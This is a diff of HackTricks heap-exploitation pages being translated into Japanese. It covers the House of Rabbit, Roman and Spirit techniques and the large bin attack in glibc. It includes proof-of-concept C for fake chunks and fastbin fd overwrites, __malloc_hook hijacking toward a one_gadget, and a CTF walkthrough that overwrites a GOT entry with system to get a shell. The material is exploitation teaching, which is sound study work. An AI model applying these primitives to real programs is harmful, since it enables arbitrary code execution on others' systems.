This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. このアプローチは、ヒープ管理メカニズム、libc 情報リーク、およびヒープオーバーフローを利用して、`free` を直接呼び出すことなくコード実行を達成します。偽の**\_IO_FILE**構造体を慎重に作成し、適切な位置に配置することで、攻撃は標準のメモリアロケーション操作中に制御フローをハイジャックできます。これにより、任意のコードの実行が可能になり、シェルや他の悪意のある活動が発生する可能性があります。
## References ## 参考文献
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
### Requirements ### 要件
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. 1. **ファストビンのfdポインタまたはサイズを変更する能力**: これは、ファストビン内のチャンクの前方ポインタまたはそのサイズを変更できることを意味します。
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. 2. **`malloc_consolidate`をトリガーする能力**: これは、大きなチャンクを割り当てるか、トップチャンクをマージすることで行うことができ、ヒープがチャンクを統合することを強制します。
### Goals ### 目標
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. 1. **オーバーラップするチャンクを作成する**: 1つのチャンクが別のチャンクとオーバーラップするようにし、さらなるヒープ操作を可能にします。
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. 2. **偽のチャンクを作成する**: ヒープ操作中にアロケータを騙して、偽のチャンクを正当なチャンクとして扱わせることです。
## Steps of the attack ## 攻撃の手順
### POC 1: Modify the size of a fast bin chunk ### POC 1: ファストビンチャンクのサイズを変更する
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. **目的**: ファストビンチャンクのサイズを操作してオーバーラップするチャンクを作成します。
- **Step 1: Allocate Chunks**
- **ステップ 1: チャンクを割り当てる**
```cpp ```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state malloc(0x10); // Allocates a small chunk to change the fastbin state
``` ```
0x40バイトのチャンクを2つ割り当てます。これらのチャンクは解放されるとファストビンリストに配置されます。
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - **ステップ2: チャンクを解放する**
- **Step 2: Free Chunks**
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050 free(chunk2); // Frees the chunk at 0x602050
``` ```
両方のチャンクを解放し、fastbinリストに追加します。
We free both chunks, adding them to the fastbin list. - **ステップ 3: チャンクサイズの変更**
- **Step 3: Modify Chunk Size**
```cpp ```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
``` ```
`chunk1`のサイズメタデータを0xa1に変更します。これは、統合中にアロケータを欺くための重要なステップです。
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - **ステップ4: `malloc_consolidate`をトリガーする**
- **Step 4: Trigger `malloc_consolidate`**
```cpp ```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
``` ```
大きなチャンクを割り当てると、`malloc_consolidate`関数がトリガーされ、ファストビン内の小さなチャンクがマージされます。操作された`chunk1`のサイズにより、`chunk1``chunk2`と重なります。
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. 統合後、`chunk1``chunk2`と重なり、さらなる悪用が可能になります。
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. ### POC 2: `fd`ポインタを変更する
### POC 2: Modify the `fd` pointer **目的**: ファストビンの`fd`ポインタを操作してフェイクチャンクを作成する。
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
- **ステップ 1: チャンクを割り当てる**
```cpp ```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
``` ```
**説明**: 小さいチャンクと大きいチャンクの2つを割り当てて、フェイクチャンクのためにヒープを設定します。
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - **ステップ 2: フェイクチャンクを作成**
- **Step 2: Create fake chunk**
```cpp ```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk chunk2[11] = 0x21; // Next-next fake chunk
``` ```
`chunk2`に偽のチャンクメタデータを書き込んで、より小さなチャンクをシミュレートします。
We write fake chunk metadata into `chunk2` to simulate smaller chunks. - **ステップ 3: `chunk1`を解放する**
- **Step 3: Free `chunk1`**
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
``` ```
**説明**: `chunk1`を解放し、fastbinリストに追加します。
**Explanation**: We free `chunk1`, adding it to the fastbin list. - **ステップ4: `chunk1``fd`を変更する**
- **Step 4: Modify `fd` of `chunk1`**
```cpp ```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
``` ```
**説明**: `chunk1`の前方ポインタ(`fd`)を変更して、`chunk2`内の偽のチャンクを指すようにします。
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - **ステップ5: `malloc_consolidate`をトリガーする**
- **Step 5: Trigger `malloc_consolidate`**
```cpp ```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation malloc(5000); // Allocate a large chunk to trigger heap consolidation
``` ```
大きなチャンクを再度割り当てると、`malloc_consolidate`がトリガーされ、偽のチャンクが処理されます。
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. 偽のチャンクはfastbinリストの一部となり、さらなる悪用のための正当なチャンクとなります。
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. ### 概要
### Summary **House of Rabbit**技術は、fast binチャンクのサイズを変更して重複するチャンクを作成するか、`fd`ポインタを操作して偽のチャンクを作成することを含みます。これにより、攻撃者はヒープ内で正当なチャンクを偽造し、さまざまな形の悪用を可能にします。これらのステップを理解し、実践することで、ヒープの悪用スキルが向上します。
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). これは、フェイクファストビン、unsorted_bin攻撃、相対的な上書きを介して、リークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)
### Code ### コード
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)に例があります。
### Goal ### 目標
- RCE by abusing relative pointers - 相対ポインタを悪用してRCEを実現すること
### Requirements ### 要件
- Edit fastbin and unsorted bin pointers - fastbinとunsorted binポインタを編集する
- 12 bits of randomness must be brute forced (0.02% chance) of working - 12ビットのランダム性をブルートフォースする必要があります成功する確率は0.02%
## Attack Steps ## 攻撃手順
### Part 1: Fastbin Chunk points to \_\_malloc_hook ### パート1: Fastbinチャンクが\_\_malloc_hookを指す
Create several chunks: いくつかのチャンクを作成します:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. - `fastbin_victim` (0x60, オフセット 0): 後でヒープポインタをLibC値を指すように編集するUAFチャンク。
- `chunk2` (0x80, offset 0x70): For good alignment - `chunk2` (0x80, オフセット 0x70): 良好なアライメントのため。
- `main_arena_use` (0x80, offset 0x100) - `main_arena_use` (0x80, オフセット 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk - `relative_offset_heap` (0x60, オフセット 0x190): 'main_arena_use'チャンクの相対オフセット
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. 次に、`free(main_arena_use)`を実行すると、このチャンクがunsortedリストに配置され、`fd``bk`ポインタの両方に`main_arena + 0x68`へのポインタが得られます。
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. 今、新しいチャンク`fake_libc_chunk(0x60)`が割り当てられます。これは、`fd``bk``main_arena + 0x68`へのポインタを含むためです。
Then `relative_offset_heap` and `fastbin_victim` are freed.
その後、`relative_offset_heap``fastbin_victim`が解放されます。
```c ```c
/* /*
Current heap layout: Current heap layout:
0x0: fastbin_victim - size 0x70 0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90 0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20 0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70 0x190: relative_offset_heap - size 0x70
bin layout: bin layout:
fastbin: fastbin_victim -> relative_offset_heap fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main unsorted: leftover_main
*/ */
``` ```
- &#x20;`fastbin_victim``relative_offset_heap` を指す `fd` を持っています
- &#x20;`relative_offset_heap``fake_libc_chunk` からの距離のオフセットで、`main_arena + 0x68` へのポインタを含んでいます
- `fastbin_victim.fd` の最後のバイトを変更することで、`fastbin_victim``main_arena + 0x68` を指すようにすることが可能です
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap` 前述のアクションのために、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. 次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更します。
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. `__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の 4 ビットは **ランダム** であるため、興味のある場所を指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が行われ、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** (残りのバイトについての詳細は、[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)の説明を確認してください)。BF が機能しない場合、プログラムは単にクラッシュします(動作するまで再試行してください)。
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
次に、2 つの malloc が実行され、最初の 2 つのファストビンチャンクが削除され、3 つ目がアロケートされて **`__malloc_hook:`** にチャンクを取得します。
```c ```c
malloc(0x60); malloc(0x60);
malloc(0x60); malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60);
``` ```
### Part 2: Unsorted_bin 攻撃
### Part 2: Unsorted_bin attack 詳細については、次を確認できます:
For more info you can check:
{{#ref}} {{#ref}}
unsorted-bin-attack.md unsorted-bin-attack.md
{{#endref}} {{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. 基本的には、`chunk->bk`で指定された任意の場所に`main_arena + 0x68`を書き込むことを可能にします。そして、攻撃のために`__malloc_hook`を選択します。その後、上書きした後に相対的な上書きを使用して`one_gadget`を指すようにします。
For this we start getting a chunk and putting it into the **unsorted bin**:
これを行うために、チャンクを取得し、**unsorted bin**に入れ始めます:
```c ```c
uint8_t* unsorted_bin_ptr = malloc(0x80); uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF // Free the chunk to create the UAF
free(unsorted_bin_ptr); free(unsorted_bin_ptr);
``` ```
このチャンクでUAFを使用して`unsorted_bin_ptr->bk``__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
> [!CAUTION] > [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** > この攻撃は未整理ビンを破損させるため(したがって小と大も)、**今はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするためには**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** したがって、`__malloc_hook``main_arena + 0x68`の書き込みをトリガーするために、`unsorted_bin_ptr->bk``__malloc_hook`を設定した後、**`malloc(0x80)`**を実行する必要があります。
### Step 3: Set \_\_malloc_hook to system ### ステップ3: \_\_malloc_hookをsystemに設定
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. ステップ1では、`__malloc_hook`を含むチャンクを制御することに成功しました(変数`malloc_hook_chunk`。ステップ2では、ここに`main_arena + 0x68`を書き込むことができました。
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. 今、`malloc_hook_chunk`内の部分的な上書きを悪用して、そこに書き込んだlibcアドレス`main_arena + 0x68`)を**`one_gadget`アドレスにポイントさせます**。
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). ここで**12ビットのランダム性をブルートフォースする必要があります**(詳細は[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)を参照)。
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. 最後に、正しいアドレスが上書きされたら、**`malloc`を呼び出して`one_gadget`をトリガーします**。
## References ## 参考文献
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
### Code ### コード
<details> <details>
<summary>House of Spirit</summary> <summary>House of Spirit</summary>
```c ```c
#include <unistd.h> #include <unistd.h>
#include <stdlib.h> #include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { struct fast_chunk {
size_t prev_size; size_t prev_size;
size_t size; size_t size;
struct fast_chunk *fd; struct fast_chunk *fd;
struct fast_chunk *bk; struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range char buf[0x20]; // chunk falls in fastbin size range
}; };
int main() { int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim; void *ptr, *victim;
ptr = malloc(0x30); ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" // Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk); fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" // Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk); fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk // Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd; ptr = (void *)&fake_chunks[0].fd;
free(ptr); free(ptr);
victim = malloc(0x30); victim = malloc(0x30);
printf("Victim: %p\n", victim); printf("Victim: %p\n", victim);
return 0; return 0;
} }
``` ```
</details> </details>
### Goal ### 目標
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it - tcache / fast bin にアドレスを追加できるようにし、後でそれを割り当てることができるようにする
### Requirements ### 要件
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. - この攻撃には、攻撃者がサイズ値を正しく示すいくつかの偽のファストチャンクを作成できる必要があり、最初の偽のチャンクを解放してそれがビンに入るようにする必要があります。
### Attack ### 攻撃
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes - セキュリティチェックを回避する偽のチャンクを作成する基本的に正しい位置に正しいサイズを示す2つの偽のチャンクが必要です
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - 何らかの方法で最初の偽のチャンクを解放して、それがファストまたはtcacheビンに入るようにし、その後そのアドレスを上書きするために割り当てます
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: **The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
```c ```c
/* /*
this will be the structure of our two fake chunks: this will be the structure of our two fake chunks:
assuming that you compiled it for x64 assuming that you compiled it for x64
+-------+---------------------+------+ +-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 | | 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 | | 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 | | 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 | | 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 | | 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 | | 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
for what we are doing the prev size values don't matter too much for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks the important thing is the size values of the heap headers for our fake chunks
*/ */
``` ```
> [!NOTE] > [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks. > いくつかのサニティチェックをバイパスするために、2番目のチャンクを作成する必要があることに注意してください。
## Examples ##
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - **Libc infoleak**: オーバーフローを介して、ポインタをGOTアドレスに変更することで、CTFのreadアクションを介してlibcアドレスを漏洩させることが可能です。
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - **House of Spirit**: "ライフル"の数をカウントするカウンタを悪用することで、最初の偽チャンクの偽のサイズを生成し、次に"メッセージ"を悪用することで、チャンクの2番目のサイズを偽装し、最後にオーバーフローを悪用することで、解放される予定のポインタを変更し、最初の偽チャンクが解放されるようにします。その後、これを割り当てると、"メッセージ"が保存されているアドレスが内部にあります。次に、これをGOTテーブル内の`scanf`エントリにポイントさせることができるので、systemのアドレスで上書きすることができます。\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. 次回`scanf`が呼び出されると、入力`"/bin/sh"`を送信してシェルを取得できます。
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer. - **Glibc leak**: 初期化されていないスタックバッファ。
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. - **House of Spirit**: ヒープポインタのグローバル配列の最初のインデックスを変更できます。1バイトの変更で、有効なチャンク内の偽チャンクに`free`を使用し、再度割り当てた後にオーバーラップするチャンクの状況を得ることができます。それにより、単純なTcacheポイズニング攻撃が機能し、任意の書き込みプリミティブを取得できます。
## References ## 参考文献
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -2,57 +2,55 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
For more information about what is a large bin check this page: 大きなビンについての詳細はこのページを参照してください:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) で素晴らしい例を見つけることができます。
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. 基本的に、最新の "current" バージョンの glibc (2.35) では、**`P->bk_nextsize`** がチェックされていないため、特定の条件が満たされると、大きなビンチャンクの値で任意のアドレスを変更することができます。
In that example you can find the following conditions: その例では、以下の条件が見つかります:
- A large chunk is allocated - 大きなチャンクが割り当てられる
- A large chunk smaller than the first one but in the same index is allocated - 最初のものより小さいが同じインデックスにある大きなチャンクが割り当てられる
- Must be smalled so in the bin it must go first - ビン内で最初に入る必要があるため、より小さくなければならない
- (A chunk to prevent merging with the top chunk is created) - (トップチャンクとのマージを防ぐためのチャンクが作成される)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin - その後、最初の大きなチャンクが解放され、それより大きな新しいチャンクが割り当てられる -> Chunk1 が大きなビンに入る
- Then, the second large chunk is freed - 次に、2番目の大きなチャンクが解放される
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` - ここで脆弱性:攻撃者は `chunk1->bk_nextsize``[target-0x20]` に変更できる
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 - その後、チャンク2よりも大きなチャンクが割り当てられるため、チャンク2が大きなビンに挿入され、アドレス `chunk1->bk_nextsize->fd_nextsize` がチャンク2のアドレスで上書きされる
> [!TIP] > [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. > 他にも潜在的なシナリオがありますが、重要なのは、ビン内の現在の X チャンクよりも **小さい** チャンクを大きなビンに追加することです。したがって、それはビン内の X の直前に挿入される必要があり、X の **`bk_nextsize`** を変更できる必要があります。そこに小さいチャンクのアドレスが書き込まれるからです。
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
これは malloc からの関連コードです。アドレスがどのように上書きされたかを理解するためにコメントが追加されています:
```c ```c
/* if smaller than smallest, bypass loop below */ /* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{ {
fwd = bck; // fwd = p1 fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
} }
``` ```
これは、libcの**`global_max_fast`グローバル変数を上書きするために使用される可能性があり**、その後、大きなチャンクを使用してファストビン攻撃を悪用します。
